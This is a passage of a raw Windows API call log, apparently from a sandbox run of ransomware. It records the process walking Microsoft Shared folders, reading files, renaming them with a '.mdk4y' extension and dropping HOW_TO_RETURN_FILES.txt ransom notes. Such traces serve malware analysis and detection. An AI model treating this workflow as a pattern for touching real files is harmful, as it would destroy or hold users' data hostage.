GetACP () returned 0x4e4 [0114.409] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Stucco.gif", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Stucco.gifpg", lpUsedDefaultChar=0x37df4c) returned 10 [0114.409] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.409] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.409] AreFileApisANSI () returned 1 [0114.409] GetACP () returned 0x4e4 [0114.409] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Tanspecks.jpg", cchWideChar=13, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Tanspecks.jpg", lpUsedDefaultChar=0x37df4c) returned 13 [0114.410] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.410] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.410] AreFileApisANSI () returned 1 [0114.410] GetACP () returned 0x4e4 [0114.410] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Tiki.gif", cchWideChar=8, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Tiki.gifs.jpg", lpUsedDefaultChar=0x37df4c) returned 8 [0114.410] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.410] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.410] AreFileApisANSI () returned 1 [0114.411] GetACP () returned 0x4e4 [0114.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="To_Do_List.emf", cchWideChar=14, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="To_Do_List.emf", lpUsedDefaultChar=0x37df4c) returned 14 [0114.411] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.411] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.411] AreFileApisANSI () returned 1 [0114.411] GetACP () returned 0x4e4 [0114.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="White_Chocolate.jpg", cchWideChar=19, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="White_Chocolate.jpg Shared\\Source Engine\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 19 [0114.411] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.412] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.412] AreFileApisANSI () returned 1 [0114.412] GetACP () returned 0x4e4 [0114.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Wrinkled_Paper.gif", cchWideChar=18, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Wrinkled_Paper.gifg", lpUsedDefaultChar=0x37df4c) returned 18 [0114.412] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.412] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0114.412] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0114.413] AreFileApisANSI () returned 1 [0114.413] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0114.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0114.414] GetFileType (hFile=0x12c) returned 0x1 [0114.415] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0114.415] AreFileApisANSI () returned 1 [0114.415] GetACP () returned 0x4e4 [0114.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TextConv", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="TextConvry", lpUsedDefaultChar=0x37dfd8) returned 8 [0114.415] AreFileApisANSI () returned 1 [0114.415] GetACP () returned 0x4e4 [0114.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=56, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\֠j\x04") returned 56 [0114.415] AreFileApisANSI () returned 1 [0114.415] GetACP () returned 0x4e4 [0114.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\Stationery\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0114.415] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.416] AreFileApisANSI () returned 1 [0114.416] GetACP () returned 0x4e4 [0114.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\Stationery\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0114.416] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.416] AreFileApisANSI () returned 1 [0114.416] GetACP () returned 0x4e4 [0114.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="en-USiles\\Microsoft Shared\\Stationery\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 5 [0114.416] AreFileApisANSI () returned 1 [0114.416] GetACP () returned 0x4e4 [0114.416] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=62, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\㖙ĺ?") returned 62 [0114.416] AreFileApisANSI () returned 1 [0114.416] GetACP () returned 0x4e4 [0114.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0114.416] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0114.416] AreFileApisANSI () returned 1 [0114.416] GetACP () returned 0x4e4 [0114.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0114.416] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0114.416] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0114.416] AreFileApisANSI () returned 1 [0114.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0114.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0114.417] GetFileType (hFile=0x130) returned 0x1 [0114.418] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.418] AreFileApisANSI () returned 1 [0114.418] GetACP () returned 0x4e4 [0114.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSCONV97.DLL", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSCONV97.DLLcrosoft Shared\\Stationery\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 12 [0114.418] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0114.419] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818964900000) returned 1 [0114.419] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x23d78, lpOverlapped=0x0) returned 1 [0114.457] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818968700000) returned 1 [0114.457] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818968700000) returned 1 [0114.459] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll.mdk4y")) returned 1 [0114.461] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.461] AreFileApisANSI () returned 1 [0114.461] GetACP () returned 0x4e4 [0114.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RECOVR32.CNV", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="RECOVR32.CNV", lpUsedDefaultChar=0x37df4c) returned 12 [0114.461] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0114.461] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818969100000) returned 1 [0114.461] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8f68, lpOverlapped=0x0) returned 1 [0114.473] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818970300000) returned 1 [0114.473] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818970300000) returned 1 [0114.474] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.mdk4y")) returned 1 [0114.475] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.475] AreFileApisANSI () returned 1 [0114.475] GetACP () returned 0x4e4 [0114.475] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Wks9Pxy.cnv", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Wks9Pxy.cnvV", lpUsedDefaultChar=0x37df4c) returned 11 [0114.475] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0114.475] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818970500000) returned 1 [0114.476] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xdfa0, lpOverlapped=0x0) returned 1 [0115.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819059200000) returned 1 [0115.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819059200000) returned 1 [0115.363] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.mdk4y")) returned 1 [0115.364] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0115.364] AreFileApisANSI () returned 1 [0115.364] GetACP () returned 0x4e4 [0115.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WPFT532.CNV", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WPFT532.CNV", lpUsedDefaultChar=0x37df4c) returned 11 [0115.364] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0115.365] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819059500000) returned 1 [0115.365] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x30170, lpOverlapped=0x0) returned 1 [0115.385] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819061500000) returned 1 [0115.385] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819061500000) returned 1 [0115.387] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.mdk4y")) returned 1 [0115.388] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0115.388] AreFileApisANSI () returned 1 [0115.388] GetACP () returned 0x4e4 [0115.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WPFT632.CNV", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WPFT632.CNV", lpUsedDefaultChar=0x37df4c) returned 11 [0115.388] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0115.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819061800000) returned 1 [0115.388] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x46b70, lpOverlapped=0x0) returned 1 [0115.410] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819064000000) returned 1 [0115.410] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819064000000) returned 1 [0115.413] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.mdk4y")) returned 1 [0115.413] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0115.413] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0115.413] AreFileApisANSI () returned 1 [0115.413] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0115.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0115.414] GetFileType (hFile=0x12c) returned 0x1 [0115.414] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0115.414] AreFileApisANSI () returned 1 [0115.414] GetACP () returned 0x4e4 [0115.414] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THEMES14", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="THEMES14", lpUsedDefaultChar=0x37dfd8) returned 8 [0115.415] AreFileApisANSI () returned 1 [0115.415] GetACP () returned 0x4e4 [0115.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=56, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\֠j\x04") returned 56 [0115.480] AreFileApisANSI () returned 1 [0115.480] GetACP () returned 0x4e4 [0115.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\TextConv\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0115.480] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0115.481] AreFileApisANSI () returned 1 [0115.481] GetACP () returned 0x4e4 [0115.481] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\TextConv\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0115.481] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0115.481] AreFileApisANSI () returned 1 [0115.481] GetACP () returned 0x4e4 [0115.481] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AFTRNOON", cchWideChar=8, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AFTRNOONs\\Microsoft Shared\\TextConv\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 8 [0115.481] AreFileApisANSI () returned 1 [0115.481] GetACP () returned 0x4e4 [0115.481] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=65, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\") returned 65 [0115.481] AreFileApisANSI () returned 1 [0115.481] GetACP () returned 0x4e4 [0115.481] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0115.482] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0115.482] AreFileApisANSI () returned 1 [0115.482] GetACP () returned 0x4e4 [0115.482] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0115.482] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0115.482] AreFileApisANSI () returned 1 [0115.482] GetACP () returned 0x4e4 [0115.482] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AFTRNOON.ELM", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="AFTRNOON.ELM\\", lpUsedDefaultChar=0x37dec0) returned 12 [0115.482] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0115.490] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819072000000) returned 1 [0115.490] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xe58e, lpOverlapped=0x0) returned 1 [0115.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819072800000) returned 1 [0115.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819072800000) returned 1 [0115.499] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.mdk4y")) returned 1 [0115.499] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0115.499] AreFileApisANSI () returned 1 [0115.499] GetACP () returned 0x4e4 [0115.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AFTRNOON.INF", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="AFTRNOON.INF", lpUsedDefaultChar=0x37dec0) returned 12 [0115.499] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common 